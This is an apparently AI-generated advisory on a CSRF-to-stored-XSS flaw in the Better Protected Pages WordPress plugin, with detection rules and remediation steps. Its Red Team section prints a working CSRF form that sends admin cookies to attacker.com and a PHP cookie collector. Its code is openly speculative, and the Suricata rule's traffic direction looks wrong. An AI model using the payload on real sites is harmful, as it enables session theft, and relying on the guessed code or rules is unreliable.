CVE-2025-23875
Executive Summary
CVE-2025-23875 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Better Protected Pages (versions <= 1.0), developed by Madeglobal. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious JavaScript (Stored XSS). The CSRF vector enables the attacker to bypass same-origin policy by crafting a malicious link or form that, when clicked by a logged-in admin, executes unauthorized requests. The Stored XSS component means the injected payload persists in the database, affecting all subsequent visitors.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets the admin interface, which has elevated privileges. The plugin is used to protect pages with passwords or access restrictions, making it a high-value target for attackers seeking to exfiltrate sensitive content or deploy persistent backdoors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin, not an NPM/PyPI/Go/Ruby package. Supply chain risks include:
- Plugin Repository: The plugin is distributed via the official WordPress plugin repository. Users who install it from untrusted sources (e.g., nulled sites) may receive backdoored versions.
- Automatic Updates: If automatic updates are enabled, a compromised plugin update could propagate the vulnerability to all installations.
- Dependency Chain: The plugin may rely on third-party libraries (e.g., jQuery, WordPress core). No specific dependencies are disclosed.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – Exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – Attacker does not need authentication.
- User Interaction (UI): Required – Victim must click a link or submit a form.
- Scope (S): Changed – Impact extends beyond the vulnerable component (e.g., admin session).
- Confidentiality (C): Low – Limited data exposure (e.g., plugin settings).
- Integrity (I): Low – Attacker can modify plugin settings or inject XSS.
- Availability (A): Low – Potential denial of service via misconfiguration.
Threat Level: High. The combination of CSRF and Stored XSS allows persistent compromise of the WordPress admin panel. An attacker can steal session cookies, deface pages, or install backdoors.
Deep Dive & Mechanics
The vulnerability resides in the better-protected-pages plugin’s admin interface. The plugin likely uses a form to save settings (e.g., protected page IDs, password hashes). The CSRF flaw means the form submission lacks a nonce or token validation. An attacker can craft a malicious HTML page that submits a POST request to the plugin’s admin-ajax.php or options.php endpoint.
Stored XSS occurs because the plugin does not sanitize or escape user input before storing it in the database. For example, if the plugin allows setting a custom message for protected pages, an attacker can inject <script>alert('XSS')</script>. When an admin views the plugin settings page, the script executes in their browser.
Attack Flow:
- Attacker identifies a WordPress site running Better Protected Pages <= 1.0.
- Attacker crafts a malicious link (e.g.,
http://victim.com/wp-admin/options-general.php?page=better-protected-pages&action=save&message=<script>...) or a form that auto-submits. - Attacker sends the link to an authenticated admin via email, social engineering, or a compromised third-party site.
- Admin clicks the link, triggering the CSRF request.
- The plugin saves the malicious payload (XSS) to the database.
- When the admin (or any user) visits the plugin settings page, the XSS executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely vulnerable code pattern.
Vulnerable Code (PHP):
// In admin page handler
if (isset($_POST['save'])) {
$message = $_POST['message']; // No nonce check, no sanitization
update_option('bpp_message', $message);
}
Patched Code (Hypothetical):
// In admin page handler
if (isset($_POST['save']) && wp_verify_nonce($_POST['_wpnonce'], 'bpp_save')) {
$message = sanitize_text_field($_POST['message']); // Sanitize input
update_option('bpp_message', $message);
}
The patch would add:
- Nonce verification (
wp_verify_nonce) to prevent CSRF. - Input sanitization (
sanitize_text_fieldoresc_html) to prevent XSS. - Output escaping when displaying the stored value.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Better Protected Pages <= 1.0.
- An authenticated admin session (target).
Exploit Steps:
- Craft CSRF Payload: Create an HTML file that auto-submits a form to the vulnerable endpoint.
- Host the Payload: Use a simple HTTP server (e.g., Python) to serve the file.
- Deliver to Admin: Send the link via email or social engineering.
Example CSRF + XSS Payload:
<html>
<body>
<form action="http://victim.com/wp-admin/options-general.php?page=better-protected-pages" method="POST">
<input type="hidden" name="action" value="save">
<input type="hidden" name="message" value="<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Steal Cookie (attacker.com/steal.php):
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>
Blue Team (Defender)
Detection:
- Monitor for unusual POST requests to
/wp-admin/options-general.phpwithpage=better-protected-pages. - Look for
messageparameter containing<script>tags. - Check for nonce failures in WordPress debug logs.
Prevention:
- Disable the plugin until a patch is released.
- Use a Web Application Firewall (WAF) to block XSS payloads.
- Enforce Content Security Policy (CSP) headers to prevent inline script execution.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/options-general.phpwithpage=better-protected-pagesand suspiciousmessageparameter. - File: Modified
wp_optionstable withbpp_messagecontaining JavaScript. - Log: WordPress debug log entries showing
Nonce verification failedfor the plugin. - Cookie: Unexpected cookies set by injected scripts (e.g.,
attacker_session). - Process: Outbound connections from the WordPress server to unknown IPs (e.g., attacker.com).
Detection Engineering
YARA Rule
rule CVE_2025_23875_CSRF_XSS {
meta:
description = "Detects CSRF + Stored XSS payloads targeting Better Protected Pages"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23875"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$csrf_endpoint = /options-general\.php\?page=better-protected-pages/i
condition:
$csrf_endpoint and $xss_payload
}
Sigma Rule
title: CVE-2025-23875 CSRF to Stored XSS in Better Protected Pages
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to the vulnerable plugin endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=better-protected-pages'
cs-uri-query|contains|re: '<script[^>]*>'
condition: selection
falsepositives:
- Legitimate admin using script tags in messages (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-23875 CSRF to Stored XSS in Better Protected Pages"; flow:to_server,established; content:"POST"; http_method; content:"options-general.php"; http_uri; content:"page=better-protected-pages"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and delete Better Protected Pages until a patch is released.
- Audit Database: Check
wp_optionsforbpp_messagecontaining suspicious JavaScript. Remove if found. - Rotate Admin Credentials: Force password reset for all admin accounts.
- Review Logs: Examine access logs for CSRF attempts.
Long-Term Fixes:
- Vendor Patch: Contact Madeglobal for a security update. If none, consider forking the plugin and adding nonce verification and input sanitization.
- Alternative Plugin: Replace with a maintained alternative (e.g., "Password Protected").
- Hardening:
- Enable WordPress nonces on all admin forms.
- Use
wp_kses_post()orsanitize_text_field()for user input. - Escape output with
esc_html()oresc_attr(). - Implement CSP headers:
Content-Security-Policy: script-src 'self';.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI.
CVE-2025-23875 analysis completed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.